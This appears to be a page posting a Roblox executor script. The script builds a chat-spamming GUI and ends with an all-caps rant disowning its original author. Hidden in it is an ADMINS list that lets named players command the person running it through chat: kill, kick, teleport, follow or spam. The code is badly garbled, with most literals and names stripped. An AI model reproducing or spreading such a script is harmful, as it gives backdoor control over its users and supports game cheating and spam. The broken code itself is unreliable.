Run it
Copy the script and paste it into your executor.
lp = :().LocalPlayer
rs = :()
tcs = :()
run = :()
tele = :()
ADMINS = {
[] = ,
[] = ,
[] = ,
[] =
}
active =
index =
patternIndex =
waitTime =
dancing =
spinning =
following =
leftImage =
rightImage =
old = lp.PlayerGui:()
old old:()
sg = .(, lp.PlayerGui)
sg.Name = ; sg.ResetOnSpawn =
frame = .(, sg)
frame.Size = .(, , , )
frame.Position = .(, -, , -)
frame.BackgroundColor3 = .(, , )
frame.BorderSizePixel = ; frame.Active = ; frame.Draggable =
.(()
.()
frame frame.BorderColor3 = .(() % / , , )
)
header = .(, frame)
header.Size = .(, , , ); header.BackgroundColor3 = .(, , )
header.Text = ; header.TextColor3 = .(, , )
header.Font = .Font.FredokaOne; header.TextSize =
logoL = .(, frame)
logoL.Size = .(, , , ); logoL.Position = .(, , , )
logoL.BackgroundTransparency = ; logoL.Image = leftImage; logoL.ZIndex =
logoR = .(, frame)
logoR.Size = .(, , , ); logoR.Position = .(, , , )
logoR.BackgroundTransparency = ; logoR.Image = rightImage; logoR.ZIndex =
sub1 = .(, frame)
sub1.Size = .(, , , ); sub1.Position = .(, , , )
sub1.Text = ; sub1.TextColor3 = .(, , ); sub1.BackgroundTransparency =
sub2 = .(, frame)
sub2.Size = .(, , , ); sub2.Position = .(, , , )
sub2.Text = ; sub2.TextColor3 = .(, , ); sub2.BackgroundTransparency = ; sub2.Font = .Font.SourceSansBold
input = .(, frame)
input.Size = .(, , , ); input.Position = .(, , , )
input.Text = ; input.BackgroundColor3 = .(, , ); input.TextColor3 = .(, , )
startBtn = .(, frame)
startBtn.Size = .(, , , ); startBtn.Position = .(, , , )
startBtn.Text = ; startBtn.BackgroundColor3 = .(, , ); startBtn.TextColor3 = .(, , )
stopBtn = .(, frame)
stopBtn.Size = .(, , , ); stopBtn.Position = .(, , , )
stopBtn.Text = ; stopBtn.BackgroundColor3 = .(, , ); stopBtn.TextColor3 = .(, , )
(msg, isPattern)
msg
finalMsg = msg
isPattern
patterns = {, , }
p = patterns[patternIndex]
finalMsg = .(p, .( / #p)) .. .. msg
patternIndex = (patternIndex >= #patterns) (patternIndex + )
(()
chat = tcs:(, ) (tcs:() tcs.TextChannels:())
chat chat:(finalMsg)
legacy = rs:(, ) rs:():()
legacy legacy:(finalMsg, )
)
(text, sender)
raw = text:(); char = lp.Character; hum = char char:()
raw:(,) == (text:(), )
raw == hum hum.Sit =
raw:(,) == input.Text = text:(); active =
raw == active =
raw == hum hum.Health =
raw == tele:(.PlaceId, lp)
raw == char sender.Character char:(sender.Character.HumanoidRootPart.Position)
raw == (, )
raw ==
dancing = dancing
spinning =
raw ==
spinning = spinning
dancing =
raw == following = sender.Name
raw == following =
raw:(,) == waitTime = (raw:())
raw == .CurrentCamera.CameraSubject = sender.Character.Humanoid
raw == .CurrentCamera.CameraSubject = lp.Character.Humanoid
raw:(,) ==
target = raw:():(, )
(lp.Name:():(target)) ADMINS[lp.Name] lp:()
_, p (.Players:()) p.Chatted:((m) ADMINS[p.Name] (m, p) )
.Players.PlayerAdded:((p) p.Chatted:((m) ADMINS[p.Name] (m, p) ) )
run.RenderStepped:(()
lp.Character
root = lp.Character:()
root
dancing
root.CFrame = root.CFrame * .(, .(.(() * ) * ), )
spinning
root.CFrame = root.CFrame * .(, .(), )
following .Players:(following)
t = .Players[following].Character
t t:()
lp.Character.Humanoid:(t.HumanoidRootPart.Position + .(,,))
)
.(()
phrases = {, , , , , , , , }
active
((input.Text) .. .. phrases[index], )
phrases[index] == .() .(waitTime)
index = (index >= #phrases) (index + )
.()
)
startBtn.MouseButton1Click:(() active = )
stopBtn.MouseButton1Click:(() active = )
SCRIPT HAS BEEN TAKEN OVER BEACUSE OF THE OWNER GOLDEN IS. ABAD GUY WE HAVE DELARCED THIS SCRIPT AS FREE TO USE ANYONE NONE HOLDS IT OWNER STUFFS HIS CLAN DIED HIS A BAD PERSON

Universal